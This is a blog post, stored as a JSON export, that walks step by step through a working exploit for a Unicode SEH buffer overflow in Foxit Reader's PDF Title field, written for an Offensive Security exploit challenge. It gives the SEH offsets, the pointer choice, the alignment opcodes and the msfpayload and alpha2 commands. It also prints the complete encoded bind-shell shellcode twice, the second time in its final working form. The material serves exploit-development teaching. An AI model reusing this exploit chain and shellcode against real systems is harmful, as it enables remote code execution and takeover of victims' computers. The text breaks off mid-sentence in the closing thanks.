{"id":5399,"date":"2010-11-13T22:52:42","date_gmt":"2010-11-13T21:52:42","guid":{"rendered":"http:\/\/www.corelan.be:8800\/?p=5399"},"modified":"2010-11-13T22:52:42","modified_gmt":"2010-11-13T21:52:42","slug":"offensive-security-exploit-weekend","status":"publish","type":"post","link":"https:\/\/www.corelan.be\/index.php\/2010\/11\/13\/offensive-security-exploit-weekend\/","title":{"rendered":"Offensive Security Exploit Weekend"},"content":{"rendered":"<h3>Introduction<\/h3>\n<p>I'm excited and honored to be able to announce that Sud0, one of our <a href=\"\/index.php\/security\/corelan-team-members\/\" target=\"_blank\" rel=\"noopener\">Corelan Team members<\/a>, has won the <a href=\"http:\/\/www.offensive-security.com\/offsec\/exploit-weekend\/\" target=\"_blank\" rel=\"noopener\">Offensive Security Exploit weekend<\/a>, an exploiting exercise only available to Offensive Security certified alumni.<\/p>\n<p>The challenge was built around a vulnerability in Foxit Reader.&#160; Each participant was pointed to a <a href=\"https:\/\/www.exploit-db.com\/exploits\/15514\" target=\"_blank\" rel=\"noopener\">Proof of Concept<\/a> exploit, clearly pinpointing the overflow and indicating control over a structured exception handling record.&#160; Offensive Security posted the following message on their blog :<\/p>\n<blockquote>\n<p>Aloha Offsec students! You\u2019ve been slapped around by Bob, abused by Nicky and crushed by NNM. Just as you thought it was over, Offensive Security now comes up with a brand new type of pain. This one is for all you hardcore exploit developers out there, who want a real challenge \u2013 an Offsec \u201cExploit Weekend\u201d.      <br \/><strong>This is the deal:<\/strong> We provide you with a proof of concept, with EIP handed to you on a golden platter. All you need to do is get a shell\u2026.muhahaha. The event will take place next weekend, 13th-14th of November and is open to Offsec alumni only. The first person to send in a working POC with a bindshell payload on port 4444 wins a 32 GB WiFi Ipad!<\/p>\n<p>For more information, check out the <a href=\"http:\/\/forums.offensive-security.com\/showthread.php?t=995&amp;p=3580\">Offsec Student forms<\/a>. If you haven\u2019t signed up for the 1day club forums, send in an email to our orders dept. with your OSID!<\/p>\n<\/blockquote>\n<p>What follows below are the steps taken by Sud0 to complete the challenge\u2026&#160;&#160;&#160; I only analyzed his exploit \/ gathered all his steps, added some comments, and built a little story around it.&#160;&#160; I take no credit for this exploit, Sud0 did all of the work by himself, in less than 5 hours\u2026&#160;&#160; ouch \ud83d\ude42<\/p>\n<p>Have fun with it ! - corelanc0d3r<\/p>\n<hr \/>\n<h3>Sud0's story :<\/h3>\n<p>After quickly analyzing the pdf file, it was clear that the PDF reader is vulnerable to a buffer overflow when parsing an overly long string in the &quot;Title&quot; field.&#160; (Simply open the pdf file in a editor or use Didier Stevens' pdf-parser.py tool to list the elements in the pdf file)<\/p>\n<p>When opening the PoC pdf file in Foxit Reader (with Immunity Debugger attached to it), an access violation is triggered :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image5.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb5.png\" width=\"630\" height=\"113\" \/><\/a><\/p>\n<p>(An attempt was made to write beyond the end of the current stack frame, which has triggered the access violation.)<\/p>\n<p>The SEH Chain looks like this :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image7.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb7.png\" width=\"350\" height=\"96\" \/><\/a><\/p>\n<p>00410041 = Unicode utf converted representation of 'AA'\u2026 so it looks like we control one of the SEH records.<\/p>\n<p>After passing the exception to the application (Shift F9), another access violation is triggered, resulting in the following SEH Chain :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image8.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb8.png\" width=\"323\" height=\"106\" \/><\/a><\/p>\n<p>When passing the exception again, the exception handler should get called (00410041).&#160; Usually, when overwriting an exception handler with A's, EIP will point to 41414141 (after the exception is passed), and the debugger will break again because in most cases this is not a valid address.&#160; In this case, however, we are dealing with unicode, and in our case 00410041 is a valid address :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image35.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb34.png\" width=\"380\" height=\"143\" \/><\/a><\/p>\n<p>(so you would need to set a breakpoint at 00410041 before passing the exception to make sure you can verify that EIP was controlled).<\/p>\n<p>Anyways, unicode payload requires a specific approach, as explained in <a href=\"\/index.php\/2009\/11\/06\/exploit-writing-tutorial-part-7-unicode-from-0x00410041-to-calc\/\" target=\"_blank\" rel=\"noopener\">tutorial 7<\/a>.&#160; In any case, we will need to find a pointer (to be put in the SE Handler field), which is unicode compatible, and should bring us back either at nseh, or directly in our payload.&#160; Unicode compatible pointers start with a null byte, so unlike typical string based buffer overflows, we now have to look for pointers with null bytes.<\/p>\n<p>First of all, the offset to nseh \/ seh must be determined.<\/p>\n<p>Replace the A's in the Title field with a cyclic pattern (10000 bytes or so). You can create a cyclic pattern directly from within Immunity Debugger using the following function in <a href=\"http:\/\/web.archive.org\/web\/20131025202235\/http:\/\/redmine.corelan.be:8800\/projects\/pvefindaddr\" target=\"_blank\" rel=\"noopener\">pvefindaddr<\/a> :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image10.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb10.png\" width=\"538\" height=\"101\" \/><\/a><\/p>\n<p>Open mspattern.txt, copy the pattern and use it to replace the A's in the PoC pdf file :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image36.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb35.png\" width=\"580\" height=\"322\" \/><\/a><\/p>\n<p>Open the modified pdf file again in Foxit Reader (with Immunity Debugger attached).&#160; When the application crashes (before passing the exception to the application), run<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">!pvefindaddr suggest<\/pre>\n<p>This will calculate the offset to nseh and seh :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image37.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb36.png\" width=\"585\" height=\"361\" \/><\/a><\/p>\n<p>=&gt; offset to nseh is 538.&#160; The script detected that the payload is unicode, so you just need to put 538 characters in your payload and when it gets converted to unicode, you'll control nseh and seh.<\/p>\n<p>A quick look at the load modules (!pvefindaddr modules) reveals a few things<\/p>\n<ul>\n<li>A fair amount of modules are not safeseh protected <\/li>\n<li>the foxit reader.exe binary itself starts with a null byte and is not safeseh protected.&#160; &lt;- win ! <\/li>\n<\/ul>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image38.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb37.png\" width=\"574\" height=\"213\" \/><\/a><\/p>\n<p>This means that we should be able to find a good p\/p\/r pointer in the application binary itself. A 'good' pointer is a pointer that is not only unicode compatible, but it should not break the buffer string either (so the 2 non-null bytes should be ascii printabled, and the instructions the bytes represent should not break the exploit flow).<\/p>\n<p>Using !pvefindaddr p1 -m foxit, we query the application binary, gather all p\/p\/r pointers and write them to a file called ppr1.txt<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image39.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb38.png\" width=\"571\" height=\"165\" \/><\/a><\/p>\n<p>Filter out all lines that do not contain the word &quot;Unicode&quot; and you'll have your list of possible pointers.&#160; Question remains : which one should you take ?<\/p>\n<p>The answer is simple : take the one that won't break things, and that might help you getting you closer to your buffer when it gets executed as if the pointer were instructions.&#160; (Read tutorial 7 to understand what we mean with this).&#160; This process is trial &amp; error<\/p>\n<p>Sud0 decided to use 006A004B (write &quot;\\x4B\\x6A&quot; into the SE Handler field ( = K4)).&#160;&#160; In order to test, put &quot;AA&quot; at nseh&#160; (00410041), and put 9000 B's or so after the SE record. Validate that the new SEH record works :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image40.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb39.png\" width=\"640\" height=\"266\" \/><\/a><\/p>\n<p>That looks perfect. Set a breakpoint at the SE Handler pointer (bp 006A004B) and then pass the exception (twice - use Shift F9) until the breakpoint is hit :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image41.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb40.png\" width=\"640\" height=\"402\" \/><\/a><\/p>\n<p>Use F7 to step through these 3 instructions (pop ebx, pop ecx, ret 4) . Right after RET is executed, you see this in the CPU view :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image20.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb19.png\" width=\"578\" height=\"251\" \/><\/a><\/p>\n<ul>\n<li>41 41 = nSEH (AA) <\/li>\n<li>4B 6A = SE Handler <\/li>\n<li>42 42 .. = B's after the SEH record = place to put our payload <\/li>\n<\/ul>\n<p>We are now executing code on the stack.&#160; If we look at the stack, at 0012F7A8 and up, we can see our B's\u2026 so we have plenty of space to put our payload here :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image42.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb41.png\" width=\"579\" height=\"262\" \/><\/a><\/p>\n<p>The payload obviously also needs to be unicode compatible.<\/p>\n<p>The goal is to build an exploit with a bindshell listening on port 4444, so we can easily create the required shellcode using metasploit's msfpayload :<\/p>\n<p><strong>.\/msfpayload windows\/shell_bind_tcp R | .\/msfencode -b '\\x00' -t raw &gt; \/pentest\/exploits\/alpha2\/bind4444.bin<\/strong><\/p>\n<p>(You need to exclude null bytes, as the alpha2 unicode encoder does not accept null bytes)<\/p>\n<p>When converting the raw shellcode to unicode, you need to specify a bufferregister. This bufferregister is key in this exploit. If you have tried to use a register such as EAX, EBX, ECX, EDX and so on, then you probably discovered that there was no way\/no easy way to make that register point to the begin of your payload.&#160; Of course, you can pop some values from the stack to make a register point &quot;close&quot; to your shellcode\u2026 but all pointers are below the shellcode.&#160; And the opcode to add some values to a register break the exploit\u2026&#160;&#160; so using a register is not an option here.<\/p>\n<p>So Sud0 decided to use ESP as bufferregister.&#160;&#160; Skylined's alpha2 tool mentions this about using esp as bufferregister :<\/p>\n<blockquote>\n<p>\n    <br \/>Unicode baseaddress code using esp will overwrite the byte of memory pointed to by ebp!<\/p>\n<\/blockquote>\n<p>Creating the unicode shellcode :<\/p>\n<p><strong>root@bt:\/pentest\/exploits\/alpha2# .\/alpha2 --unicode esp &lt; bind4444.bin <\/strong><\/p>\n<p>Now, still at the first byte of nseh, Sud0 looked at the stack, and determined his approach :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image22.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb21.png\" width=\"526\" height=\"261\" \/><\/a><\/p>\n<p>The first pointer on the stack actually points into a location we control.&#160; (0012F470), but the space is too small to host shellcode.&#160; A bit further on the stack, we also see pointers to a bigger part of our payload (0012F7A8). So the idea is to pop values off the stack until we get 0012F7A8, then make ESP point at it, and jump to it.&#160; At that location, we can put our shellcode.<\/p>\n<p>The SEH pointer (006A004B), when translated into instructions, look like this :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012F7AC   4B               DEC EBX\n0012F7AD   006A 00          ADD BYTE PTR DS:[EDX],CH<\/pre>\n<p>That means that EDX needs to be writeable.&#160; Before the code at nseh \/ seh executes, the registers look like this :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image24.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb23.png\" width=\"336\" height=\"170\" \/><\/a><\/p>\n<p>EDX points into ntdll\u2026 not a writeable location.<\/p>\n<p>Easiest way to solve this, is by popping the first pointer (which points to the stack) into EDX. Opcde is 5A.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image23.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb22.png\" width=\"566\" height=\"81\" \/><\/a><\/p>\n<p>After those 4 instructions are executed, we end up here :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image43.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb42.png\" width=\"781\" height=\"154\" \/><\/a><\/p>\n<p>So far so good.&#160;&#160; nseh is now set to &quot;\\x5a\\x41&quot; and seh is &quot;\\x4b\\x6a&quot;.<\/p>\n<p>The pointer we want to get at, is 3rd from the top of the stack :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image26.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb25.png\" width=\"469\" height=\"94\" \/><\/a><\/p>\n<p>You could write some simple venetian code to pop 3 times.&#160; Or you can just use a popad to pop values from the stack, one for each register (except esp).&#160; There are plenty of ways to get the desired value into esp and then jump to it.&#160; I'll explain what Sud0 did :<\/p>\n<h4>Phase 1 : jump to shellcode :<\/h4>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image44.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb43.png\" width=\"589\" height=\"303\" \/><\/a><\/p>\n<p>After the nseh &amp; seh instructions are executed, ESP points at 0012F3C8 (which contains a pointer to a buffer we control\u2026 but not to the location in the buffer we want.&#160; The pointer points at the SEH record, so jumping to that location would create a little loop).<\/p>\n<p>But - all of that can be fixed easily : A simple POP ESP will make the stack actually point at that pointer : <\/p>\n<p><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb44.png\" width=\"581\" height=\"203\" \/><\/p>\n<p>Then a POPAD is used to jump further down into the buffer :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image46.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb45.png\" width=\"586\" height=\"246\" \/><\/a><\/p>\n<p>That's nice - but it destroyed the registers.&#160; The NOP (ADD BYTE PTR DS:[ECX],AL) won't work because ECX does not point at a writeable location anymore.&#160;&#160; ECX contains data that was popped off the stack earlier. So if we can make ecx point at a writeable location by manipulating the value on the stack, we win.<\/p>\n<p>That means that we need to figure out the location on the stack that will be used to populate ECX, and we have to make it point to a writeable location. After doing some simple math, we see that 0012F7C1 holds the data that will be put in ECX.&#160; That is right below our alignment stub, so if we follow the stub with a writable address, we can overcome this issue.<\/p>\n<p>Then finally, a RET will make us jump to a controlled location, with ESP pointing at the first byte. Fortunately, the opcode for ret (C3) does not get mangled.<\/p>\n<p>The entire alignment block looks like this :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012F7B0   41               INC ECX\n0012F7B1   0061 00          ADD BYTE PTR DS:[ECX],AH\n0012F7B4   5C               POP ESP\n0012F7B5   0041 00          ADD BYTE PTR DS:[ECX],AL\n0012F7B8   61               POPAD\n0012F7B9   0041 00          ADD BYTE PTR DS:[ECX],AL\n0012F7BC   54               PUSH ESP\n0012F7BD   0041 00          ADD BYTE PTR DS:[ECX],AL\n0012F7C0   C3               RETN<\/pre>\n<p>\n  <br \/>The alignment code is followed by the following bytes (to make ECX point at a writeable location) : <\/p>\n<p><\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012F7C1   00B3 003000B3    ADD BYTE PTR DS:[EBX+B3003000],DH<\/pre>\n<p>00B30030 is a static location in the foxit reader.exe binary, and is writable :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image30.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb29.png\" width=\"655\" height=\"86\" \/><\/a><\/p>\n<p>After executing the alignment stub, we end up here :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image47.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb46.png\" width=\"662\" height=\"224\" \/><\/a><\/p>\n<p>The ret will bring us to the begin of the B's. So the only thing we have to do is place our shellcode at that location (which is encoded using ESP as bufferregister) and let it run.<\/p>\n<blockquote>\n<p>Note : as soon as PUSH ESP opcode is put into the buffer, you'll see that this has an impact on the seh chain.&#160; Don't worry about it, because you still control the SE record.<\/p>\n<\/blockquote>\n<h4>Phase 2 : fix issue with ebp<\/h4>\n<p>As indicated by skylined, the encoded shellcode will write to ebp.&#160; That means that ebp has to point to a writeable location as well. The payload so far looks like this :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">seh = &quot;<span style=\"color: #8b0000\">\\x5A\\x41\\x4B\\x6A<\/span>&quot;\nalign = &quot;<span style=\"color: #8b0000\">\\x41\\x61\\x5C\\x5C\\x41\\x61\\x41\\x54\\x41\\xC3<\/span>&quot; # Align + SEH ... SEH = 0x006A0046\ncontrol=&quot;<span style=\"color: #8b0000\">\\xB3\\x30\\xB3<\/span>&quot; # control of ECX to point it to writeable address\n#(need only two bytes, third one is junk)\n\nshellcode = &quot;<span style=\"color: #8b0000\">TUYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ<\/span>&quot;\nshellcode += &quot;<span style=\"color: #8b0000\">11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBJ9JKuK9IbTO4jTNQj<\/span>&quot;\nshellcode += &quot;<span style=\"color: #8b0000\">2X2pwMawYqT2kpqNPTKPvzldKD6MLTKMvZhRkCNmPrkmfnXnoMHqeZSPYiqxQ9ok1op2kp<\/span>&quot;\nshellcode += &quot;<span style=\"color: #8b0000\">lldLdDKmuMlTKNtKxRXiqZJBkPJkhTKpZKpiqZKzCMdQ9tKNTDKYqXnmaIoMa5pIlFLQt5<\/span>&quot;\nshellcode += &quot;<span style=\"color: #8b0000\">pRTYwva8OlMKQ5wHkHtMk3Lo4O845xatKNznDIqhkpfRkzlnkDKPZmLKQJKTK9ttKm1YX2<\/span>&quot;\nshellcode += &quot;<span style=\"color: #8b0000\">iPDktmLoq5sUbkXo96t2iYUu97Rs8rnpNlNxlR2yX5OkOYokOsYOUkTekqn8XIRpsQwMLl<\/span>&quot;\nshellcode += &quot;<span style=\"color: #8b0000\">dnrHhTNYoIoKOU9neM8aXrLrLmPoQphoCNRlnRD38QesCperRqx1LMTYz2iGvOfyoNu9tr<\/span>&quot;\nshellcode += &quot;<span style=\"color: #8b0000\">i8BR0gK78uRpMGLsWKlldPRyXQQKOyoiooxrL1QbNnxs8mspo1bOunQYK1xOlKtm7qy9SO<\/span>&quot;\nshellcode += &quot;<span style=\"color: #8b0000\">xlpnxmPmPs8KpOcRUPd1XPdo0orRYOxpoPi3DS5PhpErXpp2Lp1eyqxpLmTJqQyWqMagbB<\/span>&quot;\nshellcode += &quot;<span style=\"color: #8b0000\">Jp0NsPQr2KO8PLqupNpioOeIxZjA<\/span>&quot;<\/pre>\n<p>When the shellcode starts executing, we see this :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image48.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb47.png\" width=\"660\" height=\"223\" \/><\/a><\/p>\n<p>00610041 is not writeable.&#160; But ECX still points at a writeable location. So we simply have to modify the shellcode and write to ECX to overcome this issue. Simply change the byte from 55 to 61 to change the destination register :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image49.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb48.png\" width=\"670\" height=\"263\" \/><\/a><\/p>\n<p>Let the code run\u2026&#160; w00000t !!!<\/p>\n<p>You can easily put in other shellcode, as long as you use ESP as baseregister, and modify the second byte of the shellcode :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">seh = &quot;<span style=\"color: #8b0000\">\\x5A\\x41\\x4B\\x6A<\/span>&quot;\nalign = &quot;<span style=\"color: #8b0000\">\\x41\\x61\\x5C\\x5C\\x41\\x61\\x41\\x54\\x41\\xC3<\/span>&quot; # Align + SEH ... SEH = 0x006A0046\ncontrol=&quot;<span style=\"color: #8b0000\">\\xB3\\x30\\xB3<\/span>&quot; # control of ECX to point it to writeable address\n#(need only two bytes, third one is junk)\n\n# Unicode Shellcode Alpha2 encoded with a small modification because we had to\n# play with registers in the align shellcode before\nshellcode = &quot;<span style=\"color: #8b0000\">TaYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ<\/span>&quot;\nshellcode += &quot;<span style=\"color: #8b0000\">11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBJ9JKuK9IbTO4jTNQj<\/span>&quot;\nshellcode += &quot;<span style=\"color: #8b0000\">2X2pwMawYqT2kpqNPTKPvzldKD6MLTKMvZhRkCNmPrkmfnXnoMHqeZSPYiqxQ9ok1op2kp<\/span>&quot;\nshellcode += &quot;<span style=\"color: #8b0000\">lldLdDKmuMlTKNtKxRXiqZJBkPJkhTKpZKpiqZKzCMdQ9tKNTDKYqXnmaIoMa5pIlFLQt5<\/span>&quot;\nshellcode += &quot;<span style=\"color: #8b0000\">pRTYwva8OlMKQ5wHkHtMk3Lo4O845xatKNznDIqhkpfRkzlnkDKPZmLKQJKTK9ttKm1YX2<\/span>&quot;\nshellcode += &quot;<span style=\"color: #8b0000\">iPDktmLoq5sUbkXo96t2iYUu97Rs8rnpNlNxlR2yX5OkOYokOsYOUkTekqn8XIRpsQwMLl<\/span>&quot;\nshellcode += &quot;<span style=\"color: #8b0000\">dnrHhTNYoIoKOU9neM8aXrLrLmPoQphoCNRlnRD38QesCperRqx1LMTYz2iGvOfyoNu9tr<\/span>&quot;\nshellcode += &quot;<span style=\"color: #8b0000\">i8BR0gK78uRpMGLsWKlldPRyXQQKOyoiooxrL1QbNnxs8mspo1bOunQYK1xOlKtm7qy9SO<\/span>&quot;\nshellcode += &quot;<span style=\"color: #8b0000\">xlpnxmPmPs8KpOcRUPd1XPdo0orRYOxpoPi3DS5PhpErXpp2Lp1eyqxpLmTJqQyWqMagbB<\/span>&quot;\nshellcode += &quot;<span style=\"color: #8b0000\">Jp0NsPQr2KO8PLqupNpioOeIxZjA<\/span>&quot;<\/pre>\n<p><a href=\"\/wp-content\/uploads\/2010\/11\/image51.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/11\/image_thumb50.png\" width=\"641\" height=\"438\" \/><\/a><\/p>\n<h3>Sud0 would like to thank 